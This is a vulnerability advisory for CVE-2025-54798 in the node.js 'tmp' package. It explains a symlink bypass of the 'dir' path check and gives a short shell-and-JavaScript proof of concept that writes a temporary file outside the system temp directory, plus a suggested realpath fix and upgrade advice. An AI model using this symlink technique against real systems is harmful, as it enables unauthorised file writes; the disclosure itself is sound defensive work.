CVE-2025-54798: tmp does not restrict arbitrary temporary file / directory write via symbolic link `dir` parameter
Summary
tmp@0.2.3 is vulnerable to an Arbitrary temporary file / directory write via symbolic link dir parameter.
Details
According to the documentation there are some conditions that must be held:
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L41-L50
Other breaking changes, i.e.
- template must be relative to tmpdir - name must be relative to tmpdir - dir option must be relative to tmpdir //<-- this assumption can be bypassed using symlinks
are still in place.
In order to override the system's tmpdir, you will have to use the newly introduced tmpdir option.
// https://github.com/raszi/node-tmp/blob/v0.2.3/README.md?plain=1#L375 dir: the optional temporary directory that must be relative to the system's default temporary directory. absolute paths are fine as long as they point to a location under the system's default temporary directory. Any directories along the so specified path must exist, otherwise a ENOENT error will be thrown upon access, as tmp will not check the availability of the path, nor will it establish the requested path for you.
Related issue: https://github.com/raszi/node-tmp/issues/207.
The issue occurs because resolvePath does not properly handle symbolic link when resolving paths: js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L573-L579 function resolvePath(name, tmpDir) { if (name.startsWith(tmpDir)) { return path.resolve(name); } else { return path.resolve(path.join(tmpDir, name)); } }
If the dir parameter points to a symlink that resolves to a folder outside the tmpDir, it's possible to bypass the assertIsRelative check used in assertAndSanitizeOptions: js // https://github.com/raszi/node-tmp/blob/v0.2.3/lib/tmp.js#L590-L609 function assertIsRelative(name, option, tmpDir) { if (option === 'name') { // assert that name is not absolute and does not contain a path if (path.isAbsolute(name)) throw new Error(${option} option must not contain an absolute path, found "${name}".); // must not fail on valid .<name> or ..<name> or similar such constructs let basename = path.basename(name); if (basename === '..' || basename === '.' || basename !== name) throw new Error(${option} option must not contain a path, found "${name}".); } else { // if (option === 'dir' || option === 'template') { // assert that dir or template are relative to tmpDir if (path.isAbsolute(name) && !name.startsWith(tmpDir)) { throw new Error(${option} option must be relative to "${tmpDir}", found "${name}".); } let resolvedPath = resolvePath(name, tmpDir); //<--- if (!resolvedPath.startsWith(tmpDir)) throw new Error(${option} option must be relative to "${tmpDir}", found "${resolvedPath}".); } }
PoC
The following PoC demonstrates how writing a tmp file on a folder outside the tmpDir is possible. Tested on a Linux machine.
- Setup: create a symbolic link inside the tmpDir that points to a directory outside of it bash mkdir $HOME/mydir1
ln -s $HOME/mydir1 ${TMPDIR:-/tmp}/evil-dir
- check the folder is empty: bash ls -lha $HOME/mydir1 | grep "tmp-"
- run the poc bash node main.js File: /tmp/evil-dir/tmp-26821-Vw87SLRaBIlf test 1: ENOENT: no such file or directory, open '/tmp/mydir1/tmp-[random-id]' test 2: dir option must be relative to "/tmp", found "/foo". test 3: dir option must be relative to "/tmp", found "/home/user/mydir1".
- the temporary file is created under $HOME/mydir1 (outside the tmpDir): bash ls -lha $HOME/mydir1 | grep "tmp-" -rw------- 1 user user 0 Apr X XX:XX tmp-[random-id]
- main.js js // npm i tmp@0.2.3
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'}); console.log('File: ', tmpobj.name);
try { tmp.fileSync({ 'dir': 'mydir1'}); } catch (err) { console.log('test 1:', err.message) }
try { tmp.fileSync({ 'dir': '/foo'}); } catch (err) { console.log('test 2:', err.message) }
try { const fs = require('node:fs'); const resolved = fs.realpathSync('/tmp/evil-dir'); tmp.fileSync({ 'dir': resolved}); } catch (err) { console.log('test 3:', err.message) }
A Potential fix could be to call fs.realpathSync (or similar) that resolves also symbolic links. js function resolvePath(name, tmpDir) { let resolvedPath; if (name.startsWith(tmpDir)) { resolvedPath = path.resolve(name); } else { resolvedPath = path.resolve(path.join(tmpDir, name)); } return fs.realpathSync(resolvedPath); }
Impact
Arbitrary temporary file / directory write via symlink
Other sources
tmp is a temporary file and directory creator for node.js. In versions 0.2.3 and below, tmp is vulnerable to an arbitrary temporary file / directory write via symbolic link dir parameter. This is fixed in version 0.2.4.
— MITRE
Affected Software
Remediation
Patch Available
Event History
Frequently Asked Questions
What is the severity of CVE-2025-54798?
CVE-2025-54798 is classified as a high-severity vulnerability due to its potential for allowing arbitrary file writes.
How do I fix CVE-2025-54798?
To fix CVE-2025-54798, upgrade the 'tmp' package to version 0.2.4 or later.
What software is affected by CVE-2025-54798?
CVE-2025-54798 affects the 'tmp' package version 0.2.3 and earlier.
What type of vulnerability is CVE-2025-54798?
CVE-2025-54798 is an arbitrary temporary file or directory write vulnerability.
Where can I find more information about CVE-2025-54798?
More information about CVE-2025-54798 can be found in the GitHub advisory linked with the vulnerability.